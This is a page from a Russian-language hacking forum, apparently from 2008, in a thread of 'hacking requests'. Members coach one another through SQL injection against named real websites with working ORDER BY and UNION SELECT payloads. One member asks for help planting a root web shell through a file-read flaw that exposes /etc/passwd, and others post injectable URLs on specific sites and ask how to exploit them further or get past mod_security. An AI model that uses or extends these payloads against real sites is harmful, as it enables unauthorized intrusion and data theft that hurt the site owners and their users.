HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > SЕО/Финансовые задачи/Социальные сети > Покупка, Продажа, Обмен > Просьбы о взломах
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #191  
Старый 06.02.2008, 11:53
it's my
Banned
Регистрация: 29.09.2007
Сообщений: 512
Провел на форуме:
4038468

Репутация: 1224


Отправить сообщение для it's my с помощью ICQ
По умолчанию

_-Ramos-_, ну и переберай order by:
host/index.php?id=1588+order+by+10/*
ошибки нет

host/index.php?id=1588+order+by+20/*
ошибки нет

host/index.php?id=1588+order+by+30/*
ошибка есть

host/index.php?id=1588+order+by+25/*
ошибка есть

host/index.php?id=1588+order+by+24/*
ошибки нет

значит union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,1 6,17,18,19,20,21,22,23,24/*
и смотри результат /* хоть я тебя и ненавижу =)
 

  #192  
Старый 06.02.2008, 12:28
Co0LLeR
Участник форума
Регистрация: 13.06.2007
Сообщений: 127
Провел на форуме:
1450832

Репутация: 24
Отправить сообщение для Co0LLeR с помощью ICQ
По умолчанию

МОжет не в ту тему, но....

Есть сайт : _d-m-g.ru Нужно залить на него шелл(с рутом)
Вот нашёл что-то: _http://d-m-g.ru/old/?show=/etc/passwd ....что с этим делать.

Помогите плиз.
 

  #193  
Старый 06.02.2008, 13:02
_-Ramos-_
Banned
Регистрация: 04.01.2007
Сообщений: 193
Провел на форуме:
4213286

Репутация: 728
Unhappy

Цитата:
Сообщение от it's my  
_-Ramos-_, ну и переберай order by:
host/index.php?id=1588+order+by+10/*
ошибки нет

host/index.php?id=1588+order+by+20/*
ошибки нет

host/index.php?id=1588+order+by+30/*
ошибка есть

host/index.php?id=1588+order+by+25/*
ошибка есть

host/index.php?id=1588+order+by+24/*
ошибки нет

значит union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,1 6,17,18,19,20,21,22,23,24/*
и смотри результат /* хоть я тебя и ненавижу =)
host/index.php?id=201+order+by+5/*
ошибка есть

host/index.php?id=201+order+by+4/*
ошибки нет

host/index.php?id=201+union+select+1,2,3,4/*
Код:
Тип ошибки:  Невозможно выполнить запрос.
Текст запроса:  SELECT * FROM cats WHERE id=201 union select 1,2,3,4/*
Ошибка mysql:  The used SELECT statements have a different number of columns

// йа тебя тоже очень сильно люблю
 

  #194  
Старый 06.02.2008, 13:18
it's my
Banned
Регистрация: 29.09.2007
Сообщений: 512
Провел на форуме:
4038468

Репутация: 1224


Отправить сообщение для it's my с помощью ICQ
По умолчанию

нужно задать неверный параметр (или как-то так) типа id=-99999
в итоге получим: host/index.php?id=-999999+union+select+1,2,3,4/*
должен сделать вывод

Цитата:
МОжет не в ту тему, но....

Есть сайт : _d-m-g.ru Нужно залить на него шелл(с рутом)
Вот нашёл что-то: _http://d-m-g.ru/old/?show=/etc/passwd ....что с этим делать.

Помогите плиз.
это не скуль
 

  #195  
Старый 10.02.2008, 17:06
F15
Новичок
Регистрация: 19.01.2008
Сообщений: 2
Провел на форуме:
85788

Репутация: -4
По умолчанию

tyt есть SQL Инъекции при запросе вылазие такая страничка вот запрос /blog/?feed=rss2&p=1' как её можно развить
 

  #196  
Старый 13.02.2008, 12:39
M@rtein
Познающий
Регистрация: 09.08.2007
Сообщений: 58
Провел на форуме:
389103

Репутация: 15
По умолчанию

Помогите докрутить скулю http://www.castersrealm.com/index.php/vanguard/trackbacks/2937/d212703779604fa568c6.info'+and+(1=1)--
 

  #197  
Старый 14.02.2008, 10:47
.acme
Участник форума
Регистрация: 08.11.2007
Сообщений: 102
Провел на форуме:
1266776

Репутация: 93
По умолчанию

Есть скуль. При сортировке полей все отлично, но когда делаю запрос через union, то вылазит эррор

Цитата:
Method Not Implemented

GET to / not supported.
Есть смысл дальше пытаться что-то искать здесь?
 

  #198  
Старый 14.02.2008, 10:50
Macro
Постоянный
Регистрация: 11.11.2006
Сообщений: 595
Провел на форуме:
1845062

Репутация: 1079


По умолчанию

Цитата:
Сообщение от .acme  
Есть скуль. При сортировке полей все отлично, но когда делаю запрос через union, то вылазит эррор



Есть смысл дальше пытаться что-то искать здесь?
Это похоже на mod_security или что-то типа того. Но на всякий случай попробуй постом
 

  #199  
Старый 16.02.2008, 05:05
Piflit
Banned
Регистрация: 11.08.2006
Сообщений: 1,522
Провел на форуме:
5128756

Репутация: 2032


Отправить сообщение для Piflit с помощью ICQ
По умолчанию

http://www.utopiafilm.ru/prms/tid/3'
что тут можно сделать? форум вроде самописный + прилепили mod_rewrite. возможно, из-за этого идет некорректная обработка запросов.
 

  #200  
Старый 16.02.2008, 17:55
Piflit
Banned
Регистрация: 11.08.2006
Сообщений: 1,522
Провел на форуме:
5128756

Репутация: 2032


Отправить сообщение для Piflit с помощью ICQ
По умолчанию

Цитата:
там ошибка на ошибке и там нечего брать
мне нужен другой сайт, на котором стоит аналогичный двиг.

за http://forum.filtrov.net thx
 
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
ПомогитЕ !!! подалуста найти кряк гейлордфакерЪ Болталка 2 30.08.2007 14:48



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ